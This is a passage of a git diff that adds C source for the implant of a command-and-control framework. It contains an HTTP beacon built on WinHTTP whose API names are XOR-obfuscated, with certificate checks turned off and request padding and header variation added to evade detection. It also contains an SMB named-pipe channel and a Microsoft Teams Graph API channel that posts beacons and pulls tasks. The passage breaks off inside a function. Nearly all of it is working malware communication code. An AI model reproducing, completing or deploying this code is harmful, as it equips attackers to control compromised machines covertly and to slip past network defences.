+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+/* WinHTTP dynamic dispatch */
+
+typedef BOOL(WINAPI *fn_WH_CrackUrl)(LPCWSTR, DWORD, DWORD, LPURL_COMPONENTS);
+typedef HINTERNET(WINAPI *fn_WH_Open)(LPCWSTR, DWORD, LPCWSTR, LPCWSTR, DWORD);
+typedef HINTERNET(WINAPI *fn_WH_Connect)(HINTERNET, LPCWSTR, INTERNET_PORT, DWORD);
+typedef HINTERNET(WINAPI *fn_WH_OpenRequest)(HINTERNET, LPCWSTR, LPCWSTR, LPCWSTR, LPCWSTR, LPCWSTR *, DWORD);
+typedef BOOL(WINAPI *fn_WH_SetOption)(HINTERNET, DWORD, LPVOID, DWORD);
+typedef BOOL(WINAPI *fn_WH_AddHeaders)(HINTERNET, LPCWSTR, DWORD, DWORD);
+typedef BOOL(WINAPI *fn_WH_SetTimeouts)(HINTERNET, int, int, int, int);
+typedef BOOL(WINAPI *fn_WH_SendRequest)(HINTERNET, LPCWSTR, DWORD, LPVOID, DWORD, DWORD, DWORD_PTR);
+typedef BOOL(WINAPI *fn_WH_RecvResponse)(HINTERNET, LPVOID);
+typedef BOOL(WINAPI *fn_WH_QueryOption)(HINTERNET, DWORD, LPVOID, LPDWORD);
+typedef BOOL(WINAPI *fn_WH_QueryAvail)(HINTERNET, LPDWORD);
+typedef BOOL(WINAPI *fn_WH_ReadData)(HINTERNET, LPVOID, DWORD, LPDWORD);
+typedef BOOL(WINAPI *fn_WH_Close)(HINTERNET);
+
+typedef struct
+{
+ fn_WH_CrackUrl CrackUrl;
+ fn_WH_Open Open;
+ fn_WH_Connect Connect;
+ fn_WH_OpenRequest OpenRequest;
+ fn_WH_SetOption SetOption;
+ fn_WH_AddHeaders AddHeaders;
+ fn_WH_SetTimeouts SetTimeouts;
+ fn_WH_SendRequest SendRequest;
+ fn_WH_RecvResponse RecvResponse;
+ fn_WH_QueryOption QueryOption;
+ fn_WH_QueryAvail QueryAvail;
+ fn_WH_ReadData ReadData;
+ fn_WH_Close Close;
+} wh_t;
+
+static wh_t _wh = {0};
+
+static int _wh_init(void)
+{
+ if (_wh.Open)
+ return 0;
+ char _dll[12];
+ {
+ volatile unsigned char _k = EVS_KEY;
+ for (int _i = 0; _i < (int)sizeof(EVS_dll_winhttp); _i++)
+ _dll[_i] = (char)(EVS_dll_winhttp[_i] ^ _k);
+ _dll[sizeof(EVS_dll_winhttp)] = '\0';
+ }
+ HMODULE h = LoadLibraryA(_dll);
+ SecureZeroMemory(_dll, sizeof(_dll));
+ if (!h)
+ return -1;
+
+ char _fn[32];
+ volatile unsigned char _k = EVS_KEY;
+#define _GPA(enc, ftype, field) \
+ do \
+ { \
+ for (int _i = 0; _i < (int)sizeof(enc); _i++) \
+ _fn[_i] = (char)((enc)[_i] ^ _k); \
+ _fn[sizeof(enc)] = '\0'; \
+ _wh.field = (ftype)GetProcAddress(h, _fn); \
+ SecureZeroMemory(_fn, sizeof(enc) + 1); \
+ } while (0)
+
+ _GPA(EVS_fn_WinHttpCrackUrl, fn_WH_CrackUrl, CrackUrl);
+ _GPA(EVS_fn_WinHttpOpen, fn_WH_Open, Open);
+ _GPA(EVS_fn_WinHttpConnect, fn_WH_Connect, Connect);
+ _GPA(EVS_fn_WinHttpOpenRequest, fn_WH_OpenRequest, OpenRequest);
+ _GPA(EVS_fn_WinHttpSetOption, fn_WH_SetOption, SetOption);
+ _GPA(EVS_fn_WinHttpAddRequestHeaders, fn_WH_AddHeaders, AddHeaders);
+ _GPA(EVS_fn_WinHttpSetTimeouts, fn_WH_SetTimeouts, SetTimeouts);
+ _GPA(EVS_fn_WinHttpSendRequest, fn_WH_SendRequest, SendRequest);
+ _GPA(EVS_fn_WinHttpReceiveResponse, fn_WH_RecvResponse, RecvResponse);
+ _GPA(EVS_fn_WinHttpQueryOption, fn_WH_QueryOption, QueryOption);
+ _GPA(EVS_fn_WinHttpQueryDataAvailable, fn_WH_QueryAvail, QueryAvail);
+ _GPA(EVS_fn_WinHttpReadData, fn_WH_ReadData, ReadData);
+ _GPA(EVS_fn_WinHttpCloseHandle, fn_WH_Close, Close);
+#undef _GPA
+
+ return _wh.Open ? 0 : -1;
+}
+
+/* Helpers */
+
+static char s_pending[131072];
+static int s_pending_set = 0;
+
+static int json_str(const char *json, const char *key, char *out, size_t out_sz)
+{
+ char needle[128];
+ snprintf(needle, sizeof(needle), "\"%s\":", key);
+ const char *p = strstr(json, needle);
+ if (!p)
+ return -1;
+ p += strlen(needle);
+ while (*p == ' ')
+ p++;
+ if (*p != '"')
+ return -1;
+ p++;
+ size_t i = 0;
+ while (*p && *p != '"' && i < out_sz - 1)
+ {
+ if (*p == '\\' && *(p + 1))
+ p++;
+ out[i++] = *p++;
+ }
+ out[i] = '\0';
+ return 0;
+}
+
+static wchar_t *_to_wide(const char *s)
+{
+ int n = MultiByteToWideChar(CP_UTF8, 0, s, -1, NULL, 0);
+ if (n <= 0)
+ return NULL;
+ wchar_t *w = (wchar_t *)malloc((size_t)n * sizeof(wchar_t));
+ if (!w)
+ return NULL;
+ MultiByteToWideChar(CP_UTF8, 0, s, -1, w, n);
+ return w;
+}
+
+/* Certificate pinning */
+
+static int _cert_pin_check(HINTERNET hRequest)
+{
+#if CFG_CERT_PIN_LEN != 64
+ (void)hRequest;
+ return 0;
+#else
+ uint8_t expected[32];
+ {
+ char hex[65] = {0};
+ for (int i = 0; i < 64; i++)
+ hex[i] = (char)(CFG_CERT_PIN[i] ^ CFG_XOR_KEY[i % CFG_XOR_KEY_LEN]);
+ for (int i = 0; i < 32; i++)
+ {
+ char h[3] = {hex[i * 2], hex[i * 2 + 1], '\0'};
+ expected[i] = (uint8_t)strtoul(h, NULL, 16);
+ }
+ }
+
+ PCCERT_CONTEXT pCert = NULL;
+ DWORD certSz = sizeof(PCCERT_CONTEXT);
+ if (!_wh.QueryOption(hRequest, WINHTTP_OPTION_SERVER_CERT_CONTEXT,
+ &pCert, &certSz) ||
+ !pCert)
+ return -1;
+
+ uint8_t got[32] = {0};
+ {
+ BCRYPT_ALG_HANDLE hAlg = NULL;
+ BCRYPT_HASH_HANDLE hHash = NULL;
+ DWORD objSz = 0, cbRes = 0;
+ uint8_t *hashObj = NULL;
+
+ if (BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_SHA256_ALGORITHM, NULL, 0) != 0)
+ goto pin_fail;
+ if (BCryptGetProperty(hAlg, BCRYPT_OBJECT_LENGTH,
+ (PBYTE)&objSz, sizeof(DWORD), &cbRes, 0) != 0)
+ goto pin_fail;
+ hashObj = (uint8_t *)malloc(objSz);
+ if (!hashObj)
+ goto pin_fail;
+ if (BCryptCreateHash(hAlg, &hHash, hashObj, objSz, NULL, 0, 0) != 0)
+ goto pin_fail;
+ BCryptHashData(hHash, pCert->pbCertEncoded, pCert->cbCertEncoded, 0);
+ BCryptFinishHash(hHash, got, 32, 0);
+ BCryptDestroyHash(hHash);
+ BCryptCloseAlgorithmProvider(hAlg, 0);
+ free(hashObj);
+ CertFreeCertificateContext(pCert);
+ return (memcmp(got, expected, 32) == 0) ? 0 : -1;
+
+ pin_fail:
+ if (hHash)
+ BCryptDestroyHash(hHash);
+ if (hAlg)
+ BCryptCloseAlgorithmProvider(hAlg, 0);
+ free(hashObj);
+ CertFreeCertificateContext(pCert);
+ return -1;
+ }
+#endif
+}
+
+/* Beacon send */
+
+int http_send(const channel_config_t *cfg, const char *agent_id, const char *b64)
+{
+ if (!cfg->beacon_url[0])
+ return CHANNEL_ERR;
+ if (_wh_init() != 0)
+ return CHANNEL_ERR;
+ s_pending_set = 0;
+
+ wchar_t *url_w = _to_wide(cfg->beacon_url);
+ if (!url_w)
+ return CHANNEL_ERR;
+
+ wchar_t host[256] = {0};
+ wchar_t path[1024] = {0};
+
+ URL_COMPONENTS uc;
+ memset(&uc, 0, sizeof(uc));
+ uc.dwStructSize = sizeof(uc);
+ uc.lpszHostName = host;
+ uc.dwHostNameLength = 256;
+ uc.lpszUrlPath = path;
+ uc.dwUrlPathLength = 1024;
+
+ if (!_wh.CrackUrl(url_w, 0, 0, &uc))
+ {
+ free(url_w);
+ return CHANNEL_ERR;
+ }
+ free(url_w);
+
+ BOOL secure = (uc.nScheme == INTERNET_SCHEME_HTTPS);
+ INTERNET_PORT port = uc.nPort ? uc.nPort : (INTERNET_PORT)(secure ? 443 : 80);
+
+ /* cryptographic random padding to vary request size */
+ char pad_b64[72] = {0};
+ {
+ uint8_t raw[36];
+ uint32_t rnd = 0;
+ BCryptGenRandom(NULL, (BYTE *)&rnd, sizeof(rnd), BCRYPT_USE_SYSTEM_PREFERRED_RNG);
+ DWORD pad_len = 8 + (rnd % 29);
+ if (BCryptGenRandom(NULL, raw, pad_len, BCRYPT_USE_SYSTEM_PREFERRED_RNG) == 0)
+ {
+ char *enc = base64_encode(raw, pad_len);
+ if (enc)
+ {
+ strncpy(pad_b64, enc, sizeof(pad_b64) - 1);
+ free(enc);
+ }
+ }
+ }
+
+ size_t body_sz = strlen(b64) + strlen(pad_b64) + 160;
+ char *body = (char *)malloc(body_sz);
+ if (!body)
+ return CHANNEL_ERR;
+ if (pad_b64[0])
+ snprintf(body, body_sz, "{\"id\":\"%s\",\"p\":\"%s\",\"_t\":\"%s\"}", agent_id, b64, pad_b64);
+ else
+ snprintf(body, body_sz, "{\"id\":\"%s\",\"p\":\"%s\"}", agent_id, b64);
+
+ const char *ua_str = (cfg->http_useragent[0]) ? cfg->http_useragent : random_ua();
+ wchar_t *ua_w = _to_wide(ua_str);
+ HINTERNET hSession = _wh.Open(
+ ua_w ? ua_w : L"Mozilla/5.0",
+ WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
+ WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
+ free(ua_w);
+
+ if (!hSession)
+ {
+ free(body);
+ return CHANNEL_ERR;
+ }
+
+ HINTERNET hConnect = _wh.Connect(hSession, host, port, 0);
+ if (!hConnect)
+ {
+ _wh.Close(hSession);
+ free(body);
+ return CHANNEL_ERR;
+ }
+
+ DWORD req_flags = secure ? WINHTTP_FLAG_SECURE : 0;
+ HINTERNET hRequest = _wh.OpenRequest(hConnect, L"POST",
+ path[0] ? path : L"/",
+ NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, req_flags);
+ if (!hRequest)
+ {
+ _wh.Close(hConnect);
+ _wh.Close(hSession);
+ free(body);
+ return CHANNEL_ERR;
+ }
+
+ if (secure)
+ {
+ DWORD sec_flags = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
+ SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE |
+ SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
+ SECURITY_FLAG_IGNORE_CERT_DATE_INVALID;
+ _wh.SetOption(hRequest, WINHTTP_OPTION_SECURITY_FLAGS,
+ &sec_flags, sizeof(sec_flags));
+ }
+
+ _wh.AddHeaders(hRequest,
+ L"Content-Type: application/json\r\nAccept: application/json",
+ (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
+
+ /* Per-beacon header variation */
+ {
+ static const wchar_t *_langs[] = {
+ L"Accept-Language: en-US,en;q=0.9\r\n",
+ L"Accept-Language: en-GB,en;q=0.8,en-US;q=0.7\r\n",
+ L"Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8\r\n",
+ L"Accept-Language: de-DE,de;q=0.9,en;q=0.8\r\n",
+ };
+ static const wchar_t *_encs[] = {
+ L"Accept-Encoding: gzip, deflate, br\r\n",
+ L"Accept-Encoding: gzip, deflate\r\n",
+ L"Accept-Encoding: br, gzip\r\n",
+ };
+ uint32_t _r = 0;
+ BCryptGenRandom(NULL, (BYTE *)&_r, sizeof(_r), BCRYPT_USE_SYSTEM_PREFERRED_RNG);
+ _wh.AddHeaders(hRequest, _langs[_r % 4], (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
+ _wh.AddHeaders(hRequest, _encs[(_r >> 8) % 3], (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
+ _wh.AddHeaders(hRequest,
+ L"Cache-Control: no-cache, no-store\r\n",
+ (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
+ wchar_t _ref[512];
+ swprintf(_ref, 512, L"Referer: https://%ls/\r\n", host);
+ _wh.AddHeaders(hRequest, _ref, (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
+ }
+
+ if (cfg->http_extra_headers[0])
+ {
+ wchar_t *xhdr_w = _to_wide(cfg->http_extra_headers);
+ if (xhdr_w)
+ {
+ _wh.AddHeaders(hRequest, xhdr_w, (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
+ free(xhdr_w);
+ }
+ }
+
+ _wh.SetTimeouts(hRequest, 30000, 30000, 30000, 30000);
+
+ BOOL ok = _wh.SendRequest(hRequest,
+ WINHTTP_NO_ADDITIONAL_HEADERS, 0,
+ body, (DWORD)strlen(body), (DWORD)strlen(body), 0);
+ free(body);
+
+ if (!ok || !_wh.RecvResponse(hRequest, NULL))
+ {
+ _wh.Close(hRequest);
+ _wh.Close(hConnect);
+ _wh.Close(hSession);
+ return CHANNEL_ERR;
+ }
+
+ if (secure && _cert_pin_check(hRequest) != 0)
+ {
+ _wh.Close(hRequest);
+ _wh.Close(hConnect);
+ _wh.Close(hSession);
+ return CHANNEL_ERR;
+ }
+
+ char *resp = NULL;
+ size_t resp_len = 0;
+ DWORD avail = 0;
+
+ while (_wh.QueryAvail(hRequest, &avail) && avail > 0)
+ {
+ char *tmp = (char *)realloc(resp, resp_len + avail + 1);
+ if (!tmp)
+ break;
+ resp = tmp;
+ DWORD nread = 0;
+ _wh.ReadData(hRequest, resp + resp_len, avail, &nread);
+ resp_len += nread;
+ resp[resp_len] = '\0';
+ }
+
+ _wh.Close(hRequest);
+ _wh.Close(hConnect);
+ _wh.Close(hSession);
+
+ if (resp)
+ {
+ if (json_str(resp, "p", s_pending, sizeof(s_pending)) == 0 && s_pending[0] != '\0')
+ s_pending_set = 1;
+ free(resp);
+ }
+
+ return CHANNEL_OK;
+}
+
+char *http_recv(void)
+{
+ if (!s_pending_set || !s_pending[0])
+ return NULL;
+ char *ret = strdup(s_pending);
+ s_pending[0] = '\0';
+ s_pending_set = 0;
+ return ret;
+}
diff --git a/agent/src/channels/http_only.c b/agent/src/channels/http_only.c
new file mode 100644
index 0000000..5023be6
--- /dev/null
+++ b/agent/src/channels/http_only.c
@@ -0,0 +1,81 @@
+#include "channels.h"
+#include "agent_config.h"
+#include
+#include
+
+/* ---- No-op stubs ---- */
+
+int github_send(const channel_config_t *cfg, const char *id, const char *b64)
+{ (void)cfg; (void)id; (void)b64; return CHANNEL_ERR; }
+char *github_recv(const channel_config_t *cfg, const char *id)
+{ (void)cfg; (void)id; return NULL; }
+
+int teams_send(const channel_config_t *cfg, const char *id, const char *b64)
+{ (void)cfg; (void)id; (void)b64; return CHANNEL_ERR; }
+char *teams_recv(const channel_config_t *cfg, const char *id)
+{ (void)cfg; (void)id; return NULL; }
+
+int doh_send(const channel_config_t *cfg, const char *id, const char *b64)
+{ (void)cfg; (void)id; (void)b64; return CHANNEL_ERR; }
+char *doh_recv(const channel_config_t *cfg, const char *id)
+{ (void)cfg; (void)id; return NULL; }
+
+/* ---- XOR deobfuscation ---- */
+
+static void cfg_decode(const unsigned char *src, size_t len, char *dst)
+{
+ for (size_t i = 0; i < len; i++)
+ dst[i] = (char)(src[i] ^ CFG_XOR_KEY[i % CFG_XOR_KEY_LEN]);
+ dst[len] = '\0';
+}
+
+/* ---- Config init — beacon_url only ---- */
+
+void channel_config_init(channel_config_t *cfg)
+{
+ memset(cfg, 0, sizeof(*cfg));
+
+ if (CFG_BEACON_URL_LEN)
+ cfg_decode(CFG_BEACON_URL, CFG_BEACON_URL_LEN, cfg->beacon_url);
+#if defined(CFG_SMB_HOST_LEN) && CFG_SMB_HOST_LEN > 0
+ cfg_decode(CFG_SMB_HOST, CFG_SMB_HOST_LEN, cfg->smb_host);
+#endif
+#if defined(CFG_SMB_PIPE_LEN) && CFG_SMB_PIPE_LEN > 0
+ cfg_decode(CFG_SMB_PIPE, CFG_SMB_PIPE_LEN, cfg->smb_pipe);
+#endif
+
+#ifndef NDEBUG
+ /* Dev override: env var */
+ const char *v = getenv("LEGITC2_BEACON_URL");
+ if (v && *v)
+ strncpy(cfg->beacon_url, v, sizeof(cfg->beacon_url) - 1);
+#endif
+
+#if defined(CFG_HTTP_USERAGENT_LEN) && CFG_HTTP_USERAGENT_LEN > 0
+ cfg_decode(CFG_HTTP_USERAGENT, CFG_HTTP_USERAGENT_LEN, cfg->http_useragent);
+#endif
+#if defined(CFG_HTTP_EXTRA_HEADERS_LEN) && CFG_HTTP_EXTRA_HEADERS_LEN > 0
+ cfg_decode(CFG_HTTP_EXTRA_HEADERS, CFG_HTTP_EXTRA_HEADERS_LEN, cfg->http_extra_headers);
+#endif
+#if defined(CFG_CERT_PIN_LEN) && CFG_CERT_PIN_LEN == 64
+ cfg_decode(CFG_CERT_PIN, CFG_CERT_PIN_LEN, cfg->http_cert_pin);
+#endif
+}
+
+/* ---- Dispatcher ---- */
+
+int channel_send(const channel_config_t *cfg, const char *id, const char *b64)
+{
+ if (cfg->smb_host[0] && smb_send(cfg, id, b64) == CHANNEL_OK) return CHANNEL_OK;
+ return http_send(cfg, id, b64);
+}
+
+char *channel_recv(const channel_config_t *cfg, const char *id)
+{
+ (void)id;
+ if (cfg->smb_host[0]) {
+ char *r = smb_recv();
+ if (r) return r;
+ }
+ return http_recv();
+}
diff --git a/agent/src/channels/smb.c b/agent/src/channels/smb.c
new file mode 100644
index 0000000..8564d70
--- /dev/null
+++ b/agent/src/channels/smb.c
@@ -0,0 +1,166 @@
+#include "channels.h"
+#include
+#include
+#include
+#include
+#include
+
+#define SMB_MAX_RESP 131072
+#define SMB_CONNECT_RETRIES 3
+#define SMB_PIPE_WAIT_MS 3000
+
+static char s_pending[SMB_MAX_RESP];
+static int s_pending_set = 0;
+
+/* internal helpers */
+
+static int json_str(const char *json, const char *key, char *out, size_t out_sz)
+{
+ char needle[128];
+ snprintf(needle, sizeof(needle), "\"%s\":", key);
+ const char *p = strstr(json, needle);
+ if (!p)
+ return -1;
+ p += strlen(needle);
+ while (*p == ' ')
+ p++;
+ if (*p != '"')
+ return -1;
+ p++;
+ size_t i = 0;
+ while (*p && *p != '"' && i < out_sz - 1)
+ {
+ if (*p == '\\' && *(p + 1))
+ p++;
+ out[i++] = *p++;
+ }
+ out[i] = '\0';
+ return 0;
+}
+
+static BOOL pipe_read_exact(HANDLE h, void *buf, DWORD len)
+{
+ DWORD done = 0;
+ while (done < len)
+ {
+ DWORD nr = 0;
+ if (!ReadFile(h, (char *)buf + done, len - done, &nr, NULL) || nr == 0)
+ return FALSE;
+ done += nr;
+ }
+ return TRUE;
+}
+
+static BOOL pipe_write_exact(HANDLE h, const void *buf, DWORD len)
+{
+ DWORD done = 0;
+ while (done < len)
+ {
+ DWORD nw = 0;
+ if (!WriteFile(h, (const char *)buf + done, len - done, &nw, NULL) || nw == 0)
+ return FALSE;
+ done += nw;
+ }
+ return TRUE;
+}
+
+/* send beacon over SMB named pipe, buffer task from response */
+
+int smb_send(const channel_config_t *cfg, const char *agent_id, const char *b64)
+{
+ if (!cfg->smb_host[0] || !cfg->smb_pipe[0])
+ return CHANNEL_ERR;
+ s_pending_set = 0;
+
+ char path[640];
+ snprintf(path, sizeof(path), "\\\\%s\\pipe\\%s", cfg->smb_host, cfg->smb_pipe);
+
+ wchar_t wpath[640] = {0};
+ if (MultiByteToWideChar(CP_UTF8, 0, path, -1, wpath, 640) == 0)
+ return CHANNEL_ERR;
+
+ HANDLE hPipe = INVALID_HANDLE_VALUE;
+ for (int i = 0; i < SMB_CONNECT_RETRIES && hPipe == INVALID_HANDLE_VALUE; i++)
+ {
+ hPipe = CreateFileW(wpath,
+ GENERIC_READ | GENERIC_WRITE,
+ 0, NULL, OPEN_EXISTING, 0, NULL);
+ if (hPipe == INVALID_HANDLE_VALUE)
+ {
+ if (GetLastError() != ERROR_PIPE_BUSY)
+ return CHANNEL_ERR;
+ WaitNamedPipeW(wpath, SMB_PIPE_WAIT_MS);
+ }
+ }
+ if (hPipe == INVALID_HANDLE_VALUE)
+ return CHANNEL_ERR;
+
+ /* build JSON body */
+ size_t body_sz = strlen(agent_id) + strlen(b64) + 32;
+ char *body = (char *)malloc(body_sz);
+ if (!body)
+ {
+ CloseHandle(hPipe);
+ return CHANNEL_ERR;
+ }
+ int body_len = snprintf(body, body_sz, "{\"id\":\"%s\",\"p\":\"%s\"}", agent_id, b64);
+ if (body_len <= 0) { free(body); CloseHandle(hPipe); return CHANNEL_ERR; }
+
+ /* write: 4-byte LE length then payload */
+ uint32_t wlen = (uint32_t)body_len;
+ BOOL ok = pipe_write_exact(hPipe, &wlen, 4) &&
+ pipe_write_exact(hPipe, body, wlen);
+ free(body);
+ if (!ok)
+ {
+ CloseHandle(hPipe);
+ return CHANNEL_ERR;
+ }
+
+ /* read 4-byte LE response length */
+ uint32_t rlen = 0;
+ if (!pipe_read_exact(hPipe, &rlen, 4) || rlen == 0 || rlen >= SMB_MAX_RESP)
+ {
+ CloseHandle(hPipe);
+ return CHANNEL_ERR;
+ }
+
+ /* read response body */
+ char *resp = (char *)malloc(rlen + 1);
+ if (!resp)
+ {
+ CloseHandle(hPipe);
+ return CHANNEL_ERR;
+ }
+ ok = pipe_read_exact(hPipe, resp, rlen);
+ CloseHandle(hPipe);
+ if (!ok)
+ {
+ free(resp);
+ return CHANNEL_ERR;
+ }
+ resp[rlen] = '\0';
+
+ /* buffer task if present */
+ char task[SMB_MAX_RESP];
+ if (json_str(resp, "p", task, sizeof(task)) == 0 && task[0])
+ {
+ strncpy(s_pending, task, sizeof(s_pending) - 1);
+ s_pending[sizeof(s_pending) - 1] = '\0';
+ s_pending_set = 1;
+ }
+ free(resp);
+ return CHANNEL_OK;
+}
+
+/* return task buffered by smb_send, NULL if none */
+
+char *smb_recv(void)
+{
+ if (!s_pending_set || !s_pending[0])
+ return NULL;
+ char *ret = strdup(s_pending);
+ s_pending[0] = '\0';
+ s_pending_set = 0;
+ return ret;
+}
\ No newline at end of file
diff --git a/agent/src/channels/teams.c b/agent/src/channels/teams.c
new file mode 100644
index 0000000..f568465
--- /dev/null
+++ b/agent/src/channels/teams.c
@@ -0,0 +1,269 @@
+#include "channels.h"
+#include "util.h"
+#include
+#include
+#include
+#include
+
+#ifndef CURLSSLOPT_NATIVE_CA
+#define CURLSSLOPT_NATIVE_CA (1 << 4)
+#endif
+
+/* ---- libcurl response buffer ---- */
+
+typedef struct
+{
+ char *data;
+ size_t len;
+} curl_buf_t;
+
+static size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata)
+{
+ curl_buf_t *buf = (curl_buf_t *)userdata;
+ size_t nb = size * nmemb;
+ char *tmp = realloc(buf->data, buf->len + nb + 1);
+ if (!tmp)
+ return 0;
+ buf->data = tmp;
+ memcpy(buf->data + buf->len, ptr, nb);
+ buf->len += nb;
+ buf->data[buf->len] = '\0';
+ return nb;
+}
+
+/* get an OAuth2 client_credentials token for the Graph API */
+
+static char *teams_get_access_token(const channel_config_t *cfg)
+{
+ char url[256];
+ snprintf(url, sizeof(url),
+ "https://login.microsoftonline.com/%s/oauth2/v2.0/token",
+ cfg->teams_tenant_id);
+
+ char body[1024];
+ snprintf(body, sizeof(body),
+ "grant_type=client_credentials"
+ "&client_id=%s"
+ "&client_secret=%s"
+ "&scope=https%%3A%%2F%%2Fgraph.microsoft.com%%2F.default",
+ cfg->teams_client_id,
+ cfg->teams_client_secret);
+
+ CURL *curl = curl_easy_init();
+ if (!curl)
+ return NULL;
+
+ curl_buf_t resp = {0};
+
+ char ua_hdr[320];
+ snprintf(ua_hdr, sizeof(ua_hdr), "User-Agent: %s", random_ua());
+
+ struct curl_slist *hdrs = NULL;
+ hdrs = curl_slist_append(hdrs, "Content-Type: application/x-www-form-urlencoded");
+ hdrs = curl_slist_append(hdrs, ua_hdr);
+
+ curl_apply_opsec(curl);
+ curl_easy_setopt(curl, CURLOPT_URL, url);
+ curl_easy_setopt(curl, CURLOPT_HTTPHEADER, hdrs);
+ curl_easy_setopt(curl, CURLOPT_POSTFIELDS, body);
+ curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb);
+ curl_easy_setopt(curl, CURLOPT_WRITEDATA, &resp);
+ curl_easy_setopt(curl, CURLOPT_TIMEOUT, 30L);
+
+ CURLcode res = curl_easy_perform(curl);
+ long code = 0;
+ curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &code);
+ curl_slist_free_all(hdrs);
+ curl_easy_cleanup(curl);
+
+ if (res != CURLE_OK || code != 200)
+ {
+ free(resp.data);
+ return NULL;
+ }
+
+ /* Extract "access_token":"" */
+ const char *p = strstr(resp.data, "\"access_token\"");
+ if (!p)
+ {
+ free(resp.data);
+ return NULL;
+ }
+ p += strlen("\"access_token\"");
+ while (*p == ' ' || *p == ':')
+ p++;
+ if (*p != '"')
+ {
+ free(resp.data);
+ return NULL;
+ }
+ p++;
+
+ size_t i = 0, cap = 2048;
+ char *tok = malloc(cap);
+ if (!tok)
+ {
+ free(resp.data);
+ return NULL;
+ }
+ while (*p && *p != '"' && i < cap - 1)
+ tok[i++] = *p++;
+ tok[i] = '\0';
+ free(resp.data);
+ return tok;
+}
+
+/* make a request to the Microsoft Graph API */
+
+static char *graph_request(const char *access_token, const char *url,
+ const char *method, const char *body_json)
+{
+ CURL *curl = curl_easy_init();
+ if (!curl)
+ return NULL;
+
+ curl_buf_t resp = {0};
+
+ struct curl_slist *hdrs = NULL;
+ char auth_hdr[2400];
+ char ua_hdr2[320];
+ snprintf(auth_hdr, sizeof(auth_hdr), "Authorization: Bearer %s", access_token);
+ snprintf(ua_hdr2, sizeof(ua_hdr2), "User-Agent: %s", random_ua());
+ hdrs = curl_slist_append(hdrs, auth_hdr);
+ hdrs = curl_slist_append(hdrs, "Content-Type: application/json");
+ hdrs = curl_slist_append(hdrs, ua_hdr2);
+
+ curl_apply_opsec(curl);
+ curl_easy_setopt(curl, CURLOPT_URL, url);
+ curl_easy_setopt(curl, CURLOPT_HTTPHEADER, hdrs);
+ curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb);
+ curl_easy_setopt(curl, CURLOPT_WRITEDATA, &resp);
+ curl_easy_setopt(curl, CURLOPT_TIMEOUT, 30L);
+ curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
+
+ if (method && strcmp(method, "POST") == 0)
+ {
+ curl_easy_setopt(curl, CURLOPT_POST, 1L);
+ if (body_json)
+ {
+ curl_easy_setopt(curl, CURLOPT_POSTFIELDS, body_json);
+ curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, (long)strlen(body_json));
+ }
+ }
+ else if (method && strcmp(method, "GET") == 0)
+ {
+ curl_easy_setopt(curl, CURLOPT_HTTPGET, 1L);
+ }
+
+ CURLcode res = curl_easy_perform(curl);
+ long code = 0;
+ curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &code);
+ curl_slist_free_all(hdrs);
+ curl_easy_cleanup(curl);
+
+ if (res != CURLE_OK || code < 200 || code >= 300)
+ {
+ free(resp.data);
+ return NULL;
+ }
+ return resp.data;
+}
+
+/* post beacon as a Teams message in the configured channel */
+
+int teams_send(const channel_config_t *cfg, const char *agent_id, const char *b64)
+{
+ if (!cfg->teams_tenant_id[0] || !cfg->teams_team_id[0])
+ return CHANNEL_ERR;
+
+ char *token = teams_get_access_token(cfg);
+ if (!token)
+ return CHANNEL_ERR;
+
+ char url[512];
+ snprintf(url, sizeof(url),
+ "https://graph.microsoft.com/v1.0/teams/%s/channels/%s/messages",
+ cfg->teams_team_id, cfg->teams_channel_id);
+
+ /* message format: LC2:{agent_id}:{payload} */
+ size_t body_sz = strlen(b64) + 256;
+ char *body = malloc(body_sz);
+ if (!body)
+ {
+ free(token);
+ return CHANNEL_ERR;
+ }
+
+ snprintf(body, body_sz,
+ "{\"body\":{\"contentType\":\"text\","
+ "\"content\":\"LC2:%s:%s\"}}",
+ agent_id, b64);
+
+ char *resp = graph_request(token, url, "POST", body);
+ free(body);
+ free(token);
+
+ if (!resp)
+ return CHANNEL_ERR;
+ free(resp);
+ return CHANNEL_OK;
+}
+
+/* read latest channel messages and find a task for this agent */
+
+char *teams_recv(const channel_config_t *cfg, const char *agent_id)
+{
+ if (!cfg->teams_tenant_id[0] || !cfg->teams_team_id[0])
+ return NULL;
+
+ char *token = teams_get_access_token(cfg);
+ if (!token)
+ return NULL;
+
+ /* fetch last 10 messages */
+ char url[512];
+ snprintf(url, sizeof(url),
+ "https://graph.microsoft.com/v1.0/teams/%s/channels/%s/messages"
+ "?$top=10&$orderby=createdDateTime+desc",
+ cfg->teams_team_id, cfg->teams_channel_id);
+
+ char *resp = graph_request(token, url, "GET", NULL);
+ free(token);
+ if (!resp)
+ return NULL;
+
+ /*
+ * Look for "TASK:{agent_id}:{b64}" in the message content.
+ * The server posts tasks as: TASK::
+ */
+ char prefix[64];
+ snprintf(prefix, sizeof(prefix), "TASK:%s:", agent_id);
+ const char *p = strstr(resp, prefix);
+ if (!p)
+ {
+ free(resp);
+ return NULL;
+ }
+ p += strlen(prefix);
+
+ /* Extract until end of JSON string (next \") */
+ size_t i = 0, cap = 4096;
+ char *out = malloc(cap);
+ if (!out)
+ {
+ free(resp);
+ return NULL;
+ }
+
+ while (*p && *p != '"' && *p != '\\' && i < cap - 1)
+ out[i++] = *p++;
+ out[i] = '\0';
+
+ free(resp);
+ if (i == 0)
+ {
